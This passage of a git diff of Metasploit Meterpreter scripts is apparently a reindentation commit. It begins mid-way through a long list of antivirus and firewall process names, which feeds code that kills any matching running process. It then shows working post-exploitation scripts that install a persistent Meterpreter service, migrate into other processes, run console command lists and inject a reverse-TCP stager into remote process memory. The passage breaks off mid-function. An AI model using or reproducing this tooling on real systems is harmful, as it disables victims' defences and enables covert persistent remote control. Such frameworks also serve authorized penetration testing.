luspt.exe - mapisvc32.exe - mcagent.exe - mcmnhdlr.exe - mcshield.exe - mctool.exe - mcupdate.exe - mcvsrte.exe - mcvsshld.exe - md.exe - mfin32.exe - mfw2en.exe - mfweng3.02d30.exe - mgavrtcl.exe - mgavrte.exe - mghtml.exe - mgui.exe - minilog.exe - mmod.exe - monitor.exe - moolive.exe - mostat.exe - mpfagent.exe - mpfservice.exe - mpftray.exe - mrflux.exe - msapp.exe - msbb.exe - msblast.exe - mscache.exe - msccn32.exe - mscman.exe - msconfig.exe - msdm.exe - msdos.exe - msiexec16.exe - msinfo32.exe - mslaugh.exe - msmgt.exe - msmsgri32.exe - mssmmc32.exe - mssys.exe - msvxd.exe - mu0311ad.exe - mwatch.exe - n32scanw.exe - nav.exe - navap.navapsvc.exe - navapsvc.exe - navapw32.exe - navdx.exe - navlu32.exe - navnt.exe - navstub.exe - navw32.exe - navwnt.exe - nc2000.exe - ncinst4.exe - ndd32.exe - neomonitor.exe - neowatchlog.exe - netarmor.exe - netd32.exe - netinfo.exe - netmon.exe - netscanpro.exe - netspyhunter-1.2.exe - netstat.exe - netutils.exe - nisserv.exe - nisum.exe - nmain.exe - nod32.exe - normist.exe - norton_internet_secu_3.0_407.exe - notstart.exe - npf40_tw_98_nt_me_2k.exe - npfmessenger.exe - nprotect.exe - npscheck.exe - npssvc.exe - nsched32.exe - nssys32.exe - nstask32.exe - nsupdate.exe - nt.exe - ntrtscan.exe - ntvdm.exe - ntxconfig.exe - nui.exe - nupgrade.exe - nvarch16.exe - nvc95.exe - nvsvc32.exe - nwinst4.exe - nwservice.exe - nwtool16.exe - ollydbg.exe - onsrvr.exe - optimize.exe - ostronet.exe - otfix.exe - outpost.exe - outpostinstall.exe - outpostproinstall.exe - padmin.exe - panixk.exe - patch.exe - pavcl.exe - pavproxy.exe - pavsched.exe - pavw.exe - pccwin98.exe - pcfwallicon.exe - pcip10117_0.exe - pcscan.exe - pdsetup.exe - periscope.exe - persfw.exe - perswf.exe - pf2.exe - pfwadmin.exe - pgmonitr.exe - pingscan.exe - platin.exe - pop3trap.exe - poproxy.exe - popscan.exe - portdetective.exe - portmonitor.exe - powerscan.exe - ppinupdt.exe - pptbc.exe - ppvstop.exe - prizesurfer.exe - prmt.exe - prmvr.exe - procdump.exe - processmonitor.exe - procexplorerv1.0.exe - programauditor.exe - proport.exe - protectx.exe - pspf.exe - purge.exe - qconsole.exe - qserver.exe - rapapp.exe - rav7.exe - rav7win.exe - rav8win32eng.exe - ray.exe - rb32.exe - rcsync.exe - realmon.exe - reged.exe - regedit.exe - regedt32.exe - rescue.exe - rescue32.exe - rrguard.exe - rshell.exe - rtvscan.exe - rtvscn95.exe - rulaunch.exe - run32dll.exe - rundll.exe - rundll16.exe - ruxdll32.exe - safeweb.exe - sahagent.exe - save.exe - savenow.exe - sbserv.exe - sc.exe - scam32.exe - scan32.exe - scan95.exe - scanpm.exe - scrscan.exe - serv95.exe - setup_flowprotector_us.exe - setupvameeval.exe - sfc.exe - sgssfw32.exe - sh.exe - shellspyinstall.exe - shn.exe - showbehind.exe - smc.exe - sms.exe - smss32.exe - soap.exe - sofi.exe - sperm.exe - spf.exe - sphinx.exe - spoler.exe - spoolcv.exe - spoolsv32.exe - spyxx.exe - srexe.exe - srng.exe - ss3edit.exe - ssg_4104.exe - ssgrate.exe - st2.exe - start.exe - stcloader.exe - supftrl.exe - support.exe - supporter5.exe - svc.exe - svchostc.exe - svchosts.exe - svshost.exe - sweep95.exe - sweepnet.sweepsrv.sys.swnetsup.exe - symproxysvc.exe - symtray.exe - sysedit.exe - system.exe - system32.exe - sysupd.exe - taskmg.exe - taskmgr.exe - taskmo.exe - taskmon.exe - taumon.exe - tbscan.exe - tc.exe - tca.exe - tcm.exe - tds-3.exe - tds2-98.exe - tds2-nt.exe - teekids.exe - tfak.exe - tfak5.exe - tgbob.exe - titanin.exe - titaninxp.exe - tracert.exe - trickler.exe - trjscan.exe - trjsetup.exe - trojantrap3.exe - tsadbot.exe - tvmd.exe - tvtmd.exe - undoboot.exe - updat.exe - update.exe - upgrad.exe - utpost.exe - vbcmserv.exe - vbcons.exe - vbust.exe - vbwin9x.exe - vbwinntw.exe - vcsetup.exe - vet32.exe - vet95.exe - vettray.exe - vfsetup.exe - vir-help.exe - virusmdpersonalfirewall.exe - vnlan300.exe - vnpc3000.exe - vpc32.exe - vpc42.exe - vpfw30s.exe - vptray.exe - vscan40.exe - vscenu6.02d30.exe - vsched.exe - vsecomr.exe - vshwin32.exe - vsisetup.exe - vsmain.exe - vsmon.exe - vsstat.exe - vswin9xe.exe - vswinntse.exe - vswinperse.exe - w32dsm89.exe - w9x.exe - watchdog.exe - webdav.exe - webscanx.exe - webtrap.exe - wfindv32.exe - whoswatchingme.exe - wimmun32.exe - win-bugsfix.exe - win32.exe - win32us.exe - winactive.exe - window.exe - windows.exe - wininetd.exe - wininitx.exe - winlogin.exe - winmain.exe - winnet.exe - winppr32.exe - winrecon.exe - winservn.exe - winssk32.exe - winstart.exe - winstart001.exe - wintsk32.exe - winupdate.exe - wkufind.exe - wnad.exe - wnt.exe - wradmin.exe - wrctrl.exe - wsbgate.exe - wupdater.exe - wupdt.exe - wyvernworksfirewall.exe - xpf202en.exe - zapro.exe - zapsetup3001.exe - zatutor.exe - zonalm2601.exe - zonealarm.exe + AAWTray.exe + Ad-Aware.exe + MSASCui.exe + _avp32.exe + _avpcc.exe + _avpm.exe + aAvgApi.exe + ackwin32.exe + adaware.exe + advxdwin.exe + agentsvr.exe + agentw.exe + alertsvc.exe + alevir.exe + alogserv.exe + amon9x.exe + anti-trojan.exe + antivirus.exe + ants.exe + apimonitor.exe + aplica32.exe + apvxdwin.exe + arr.exe + atcon.exe + atguard.exe + atro55en.exe + atupdater.exe + atwatch.exe + au.exe + aupdate.exe + auto-protect.nav80try.exe + autodown.exe + autotrace.exe + autoupdate.exe + avconsol.exe + ave32.exe + avgcc32.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgrsx.exe + avgserv.exe + avgserv9.exe + avguard.exe + avgw.exe + avkpop.exe + avkserv.exe + avkservice.exe + avkwctl9.exe + avltmain.exe + avnt.exe + avp.exe + avp.exe + avp32.exe + avpcc.exe + avpdos32.exe + avpm.exe + avptc32.exe + avpupd.exe + avsched32.exe + avsynmgr.exe + avwin.exe + avwin95.exe + avwinnt.exe + avwupd.exe + avwupd32.exe + avwupsrv.exe + avxmonitor9x.exe + avxmonitornt.exe + avxquar.exe + backweb.exe + bargains.exe + bd_professional.exe + beagle.exe + belt.exe + bidef.exe + bidserver.exe + bipcp.exe + bipcpevalsetup.exe + bisp.exe + blackd.exe + blackice.exe + blink.exe + blss.exe + bootconf.exe + bootwarn.exe + borg2.exe + bpc.exe + brasil.exe + bs120.exe + bundle.exe + bvt.exe + ccapp.exe + ccevtmgr.exe + ccpxysvc.exe + cdp.exe + cfd.exe + cfgwiz.exe + cfiadmin.exe + cfiaudit.exe + cfinet.exe + cfinet32.exe + claw95.exe + claw95cf.exe + clean.exe + cleaner.exe + cleaner3.exe + cleanpc.exe + click.exe + cmd.exe + cmd32.exe + cmesys.exe + cmgrdian.exe + cmon016.exe + connectionmonitor.exe + cpd.exe + cpf9x206.exe + cpfnt206.exe + ctrl.exe + cv.exe + cwnb181.exe + cwntdwmo.exe + datemanager.exe + dcomx.exe + defalert.exe + defscangui.exe + defwatch.exe + deputy.exe + divx.exe + dllcache.exe + dllreg.exe + doors.exe + dpf.exe + dpfsetup.exe + dpps2.exe + drwatson.exe + drweb32.exe + drwebupw.exe + dssagent.exe + dvp95.exe + dvp95_0.exe + ecengine.exe + efpeadm.exe + emsw.exe + ent.exe + esafe.exe + escanhnt.exe + escanv95.exe + espwatch.exe + ethereal.exe + etrustcipe.exe + evpn.exe + exantivirus-cnet.exe + exe.avxw.exe + expert.exe + explore.exe + f-agnt95.exe + f-prot.exe + f-prot95.exe + f-stopw.exe + fameh32.exe + fast.exe + fch32.exe + fih32.exe + findviru.exe + firewall.exe + fnrb32.exe + fp-win.exe + fp-win_trial.exe + fprot.exe + frw.exe + fsaa.exe + fsav.exe + fsav32.exe + fsav530stbyb.exe + fsav530wtbyb.exe + fsav95.exe + fsgk32.exe + fsm32.exe + fsma32.exe + fsmb32.exe + gator.exe + gbmenu.exe + gbpoll.exe + generics.exe + gmt.exe + guard.exe + guarddog.exe + hacktracersetup.exe + hbinst.exe + hbsrv.exe + hotactio.exe + hotpatch.exe + htlog.exe + htpatch.exe + hwpe.exe + hxdl.exe + hxiul.exe + iamapp.exe + iamserv.exe + iamstats.exe + ibmasn.exe + ibmavsp.exe + icload95.exe + icloadnt.exe + icmon.exe + icsupp95.exe + icsuppnt.exe + idle.exe + iedll.exe + iedriver.exe + iexplorer.exe + iface.exe + ifw2000.exe + inetlnfo.exe + infus.exe + infwin.exe + init.exe + intdel.exe + intren.exe + iomon98.exe + istsvc.exe + jammer.exe + jdbgmrg.exe + jedi.exe + kavlite40eng.exe + kavpers40eng.exe + kavpf.exe + kazza.exe + keenvalue.exe + kerio-pf-213-en-win.exe + kerio-wrl-421-en-win.exe + kerio-wrp-421-en-win.exe + kernel32.exe + killprocesssetup161.exe + launcher.exe + ldnetmon.exe + ldpro.exe + ldpromenu.exe + ldscan.exe + lnetinfo.exe + loader.exe + localnet.exe + lockdown.exe + lockdown2000.exe + lookout.exe + lordpe.exe + lsetup.exe + luall.exe + luau.exe + lucomserver.exe + luinit.exe + luspt.exe + mapisvc32.exe + mcagent.exe + mcmnhdlr.exe + mcshield.exe + mctool.exe + mcupdate.exe + mcvsrte.exe + mcvsshld.exe + md.exe + mfin32.exe + mfw2en.exe + mfweng3.02d30.exe + mgavrtcl.exe + mgavrte.exe + mghtml.exe + mgui.exe + minilog.exe + mmod.exe + monitor.exe + moolive.exe + mostat.exe + mpfagent.exe + mpfservice.exe + mpftray.exe + mrflux.exe + msapp.exe + msbb.exe + msblast.exe + mscache.exe + msccn32.exe + mscman.exe + msconfig.exe + msdm.exe + msdos.exe + msiexec16.exe + msinfo32.exe + mslaugh.exe + msmgt.exe + msmsgri32.exe + mssmmc32.exe + mssys.exe + msvxd.exe + mu0311ad.exe + mwatch.exe + n32scanw.exe + nav.exe + navap.navapsvc.exe + navapsvc.exe + navapw32.exe + navdx.exe + navlu32.exe + navnt.exe + navstub.exe + navw32.exe + navwnt.exe + nc2000.exe + ncinst4.exe + ndd32.exe + neomonitor.exe + neowatchlog.exe + netarmor.exe + netd32.exe + netinfo.exe + netmon.exe + netscanpro.exe + netspyhunter-1.2.exe + netstat.exe + netutils.exe + nisserv.exe + nisum.exe + nmain.exe + nod32.exe + normist.exe + norton_internet_secu_3.0_407.exe + notstart.exe + npf40_tw_98_nt_me_2k.exe + npfmessenger.exe + nprotect.exe + npscheck.exe + npssvc.exe + nsched32.exe + nssys32.exe + nstask32.exe + nsupdate.exe + nt.exe + ntrtscan.exe + ntvdm.exe + ntxconfig.exe + nui.exe + nupgrade.exe + nvarch16.exe + nvc95.exe + nvsvc32.exe + nwinst4.exe + nwservice.exe + nwtool16.exe + ollydbg.exe + onsrvr.exe + optimize.exe + ostronet.exe + otfix.exe + outpost.exe + outpostinstall.exe + outpostproinstall.exe + padmin.exe + panixk.exe + patch.exe + pavcl.exe + pavproxy.exe + pavsched.exe + pavw.exe + pccwin98.exe + pcfwallicon.exe + pcip10117_0.exe + pcscan.exe + pdsetup.exe + periscope.exe + persfw.exe + perswf.exe + pf2.exe + pfwadmin.exe + pgmonitr.exe + pingscan.exe + platin.exe + pop3trap.exe + poproxy.exe + popscan.exe + portdetective.exe + portmonitor.exe + powerscan.exe + ppinupdt.exe + pptbc.exe + ppvstop.exe + prizesurfer.exe + prmt.exe + prmvr.exe + procdump.exe + processmonitor.exe + procexplorerv1.0.exe + programauditor.exe + proport.exe + protectx.exe + pspf.exe + purge.exe + qconsole.exe + qserver.exe + rapapp.exe + rav7.exe + rav7win.exe + rav8win32eng.exe + ray.exe + rb32.exe + rcsync.exe + realmon.exe + reged.exe + regedit.exe + regedt32.exe + rescue.exe + rescue32.exe + rrguard.exe + rshell.exe + rtvscan.exe + rtvscn95.exe + rulaunch.exe + run32dll.exe + rundll.exe + rundll16.exe + ruxdll32.exe + safeweb.exe + sahagent.exe + save.exe + savenow.exe + sbserv.exe + sc.exe + scam32.exe + scan32.exe + scan95.exe + scanpm.exe + scrscan.exe + serv95.exe + setup_flowprotector_us.exe + setupvameeval.exe + sfc.exe + sgssfw32.exe + sh.exe + shellspyinstall.exe + shn.exe + showbehind.exe + smc.exe + sms.exe + smss32.exe + soap.exe + sofi.exe + sperm.exe + spf.exe + sphinx.exe + spoler.exe + spoolcv.exe + spoolsv32.exe + spyxx.exe + srexe.exe + srng.exe + ss3edit.exe + ssg_4104.exe + ssgrate.exe + st2.exe + start.exe + stcloader.exe + supftrl.exe + support.exe + supporter5.exe + svc.exe + svchostc.exe + svchosts.exe + svshost.exe + sweep95.exe + sweepnet.sweepsrv.sys.swnetsup.exe + symproxysvc.exe + symtray.exe + sysedit.exe + system.exe + system32.exe + sysupd.exe + taskmg.exe + taskmgr.exe + taskmo.exe + taskmon.exe + taumon.exe + tbscan.exe + tc.exe + tca.exe + tcm.exe + tds-3.exe + tds2-98.exe + tds2-nt.exe + teekids.exe + tfak.exe + tfak5.exe + tgbob.exe + titanin.exe + titaninxp.exe + tracert.exe + trickler.exe + trjscan.exe + trjsetup.exe + trojantrap3.exe + tsadbot.exe + tvmd.exe + tvtmd.exe + undoboot.exe + updat.exe + update.exe + upgrad.exe + utpost.exe + vbcmserv.exe + vbcons.exe + vbust.exe + vbwin9x.exe + vbwinntw.exe + vcsetup.exe + vet32.exe + vet95.exe + vettray.exe + vfsetup.exe + vir-help.exe + virusmdpersonalfirewall.exe + vnlan300.exe + vnpc3000.exe + vpc32.exe + vpc42.exe + vpfw30s.exe + vptray.exe + vscan40.exe + vscenu6.02d30.exe + vsched.exe + vsecomr.exe + vshwin32.exe + vsisetup.exe + vsmain.exe + vsmon.exe + vsstat.exe + vswin9xe.exe + vswinntse.exe + vswinperse.exe + w32dsm89.exe + w9x.exe + watchdog.exe + webdav.exe + webscanx.exe + webtrap.exe + wfindv32.exe + whoswatchingme.exe + wimmun32.exe + win-bugsfix.exe + win32.exe + win32us.exe + winactive.exe + window.exe + windows.exe + wininetd.exe + wininitx.exe + winlogin.exe + winmain.exe + winnet.exe + winppr32.exe + winrecon.exe + winservn.exe + winssk32.exe + winstart.exe + winstart001.exe + wintsk32.exe + winupdate.exe + wkufind.exe + wnad.exe + wnt.exe + wradmin.exe + wrctrl.exe + wsbgate.exe + wupdater.exe + wupdt.exe + wyvernworksfirewall.exe + xpf202en.exe + zapro.exe + zapsetup3001.exe + zatutor.exe + zonalm2601.exe + zonealarm.exe } client.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("Killing off #{x['name']}...") - client.sys.process.kill(x['pid']) - end + if (avs.index(x['name'].downcase)) + print_status("Killing off #{x['name']}...") + client.sys.process.kill(x['pid']) + end end diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index fe56c49f72..7046e00561 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -8,21 +8,21 @@ session = client # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] + "-h" => [ false, "This help menu"], + "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] ) # Exec a command and return the results def m_exec(session, cmd) - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - end - r.channel.close - r.close - b + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + end + r.channel.close + r.close + b end # @@ -36,85 +36,85 @@ autoconn = false remove = false if client.platform =~ /win32|win64/ - # - # Option parsing - # - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-A" - autoconn = true - when "-r" - remove = true - end - end + # + # Option parsing + # + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-A" + autoconn = true + when "-r" + remove = true + end + end - # - # Create the persistent VBS - # + # + # Create the persistent VBS + # - if(not remove) - print_status("Creating a meterpreter service on port #{rport}") - else - print_status("Removing the existing Meterpreter service") - end + if(not remove) + print_status("Creating a meterpreter service on port #{rport}") + else + print_status("Removing the existing Meterpreter service") + end - # - # Upload to the filesystem - # + # + # Upload to the filesystem + # - tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) + tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating a temporary installation directory #{tempdir}...") - client.fs.dir.mkdir(tempdir) + print_status("Creating a temporary installation directory #{tempdir}...") + client.fs.dir.mkdir(tempdir) - %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| - next if (bin != "metsvc.exe" and remove) - print_status(" >> Uploading #{bin}...") - fd = client.fs.file.new(tempdir + "\\" + bin, "wb") - fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) - fd.close - end + %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| + next if (bin != "metsvc.exe" and remove) + print_status(" >> Uploading #{bin}...") + fd = client.fs.file.new(tempdir + "\\" + bin, "wb") + fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) + fd.close + end - # - # Execute the agent - # - if(not remove) - print_status("Starting the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe install-service") - print_line("\t#{data}") - else - print_status("Stopping the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe remove-service") - print_line("\t#{data}") - end + # + # Execute the agent + # + if(not remove) + print_status("Starting the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe install-service") + print_line("\t#{data}") + else + print_status("Stopping the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe remove-service") + print_line("\t#{data}") + end - if(remove) - m_exec(client, "cmd.exe /c del metsvc.exe") - end + if(remove) + m_exec(client, "cmd.exe /c del metsvc.exe") + end - # - # Setup the multi/handler if requested - # - if(autoconn) - print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" - mul.datastore['LPORT'] = rport - mul.datastore['RHOST'] = client.session_host - mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end + # + # Setup the multi/handler if requested + # + if(autoconn) + print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") + mul = client.framework.exploits.create("multi/handler") + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" + mul.datastore['LPORT'] = rport + mul.datastore['RHOST'] = client.session_host + mul.datastore['ExitOnSession'] = false + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 1444226ee0..37c6ee62d9 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -10,85 +10,85 @@ target_pid = nil target_name = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-f" => [ false, "Launch a process and migrate into the new process"], - "-p" => [ true , "PID to migrate to."], - "-k" => [ false, "Kill original process."], - "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] + "-h" => [ false, "Help menu." ], + "-f" => [ false, "Launch a process and migrate into the new process"], + "-p" => [ true , "PID to migrate to."], + "-k" => [ false, "Kill original process."], + "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-f" - spawn = true - when "-k" - kill = true - when "-p" - target_pid = val.to_i - when "-n" - target_name = val.to_s - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - else - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-f" + spawn = true + when "-k" + kill = true + when "-p" + target_pid = val.to_i + when "-n" + target_name = val.to_s + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + else + print_line(opts.usage) + raise Rex::Script::Completed + end } # Creates a temp notepad.exe to migrate to depending the architecture. def create_temp_proc() - sysinfo = client.sys.config.sysinfo - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end - # run hidden - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) - return proc.pid + sysinfo = client.sys.config.sysinfo + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if sysinfo['Architecture'] =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + else + cmd = "#{windir}\\Sysnative\\notepad.exe" + end + # run hidden + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + return proc.pid end # In case no option is provided show help if args.length == 0 - print_line(opts.usage) - raise Rex::Script::Completed + print_line(opts.usage) + raise Rex::Script::Completed end ### Main ### if client.platform =~ /win32|win64/ - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") + server = client.sys.process.open + original_pid = server.pid + print_status("Current server process: #{server.name} (#{server.pid})") - if spawn - print_status("Spawning notepad.exe process to migrate to") - target_pid = create_temp_proc - end + if spawn + print_status("Spawning notepad.exe process to migrate to") + target_pid = create_temp_proc + end - if target_name and not target_pid - target_pid = client.sys.process[target_name] - if not target_pid - print_status("Could not identify the process ID for #{target_name}") - raise Rex::Script::Completed - end - end + if target_name and not target_pid + target_pid = client.sys.process[target_name] + if not target_pid + print_status("Could not identify the process ID for #{target_name}") + raise Rex::Script::Completed + end + end - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e) - end + begin + print_good("Migrating to #{target_pid}") + client.core.migrate(target_pid) + print_good("Successfully migrated to process #{}") + rescue ::Exception => e + print_error("Could not migrate in to process.") + print_error(e) + end - if kill - print_status("Killing original process with PID #{original_pid}") - client.sys.process.kill(original_pid) - print_good("Successfully killed process with PID #{original_pid}") - end + if kill + print_status("Killing original process with PID #{original_pid}") + client.sys.process.kill(original_pid) + print_good("Successfully killed process with PID #{original_pid}") + end end diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4d19828ba9..9d32085387 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -9,9 +9,9 @@ # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables @@ -22,52 +22,52 @@ help = 0 ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_con_exec(cmdlst) - print_status("Running Command List ...") - cmdout = "" - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\tRunning command #{cmd}" - @client.console.run_single(cmd) - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + cmdout = "" + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\tRunning command #{cmd}" + @client.console.run_single(cmd) + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end def usage - print_line("Console Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Console Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end - when "-h" - help = 1 - end + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage else - list_con_exec(commands) - raise Rex::Script::Completed + list_con_exec(commands) + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index d6f6974ed7..e4719567a2 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -12,12 +12,12 @@ multi_pid = [] payload_type = "windows/meterpreter/reverse_tcp" start_handler = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], - "-m" => [ false, "Start Exploit multi/handler for return connection"], - "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], - "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], - "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], + "-m" => [ false, "Start Exploit multi/handler for return connection"], + "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], + "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], + "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] ) meter_type = client.platform @@ -26,92 +26,92 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" - print_line "in to memory of multiple PIDs, if none is provided a notepad process." - print_line "will be created and a Meterpreter Payload will be injected in to each." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" + print_line "in to memory of multiple PIDs, if none is provided a notepad process." + print_line "will be created and a Meterpreter Payload will be injected in to each." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for injecting payload in to a given PID #------------------------------------------------------------------------------- def inject(target_pid, payload_to_inject) - print_status("Injecting meterpreter into process ID #{target_pid}") - begin - host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) - raw = payload_to_inject.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + print_status("Injecting meterpreter into process ID #{target_pid}") + begin + host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) + raw = payload_to_inject.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected Meterpreter in to process: #{target_pid}") - rescue::Exception => e - print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) - end + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected Meterpreter in to process: #{target_pid}") + rescue::Exception => e + print_error("Failed to Inject Payload to #{target_pid}!") + print_error(e) + end end # Function for Creation of Connection Handler #------------------------------------------------------------------------------- def create_multi_handler(payload_to_inject) - mul = @client.framework.exploits.create("multi/handler") - mul.share_datastore(payload_to_inject.datastore) - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = payload_to_inject - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + mul = @client.framework.exploits.create("multi/handler") + mul.share_datastore(payload_to_inject.datastore) + mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = payload_to_inject + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - 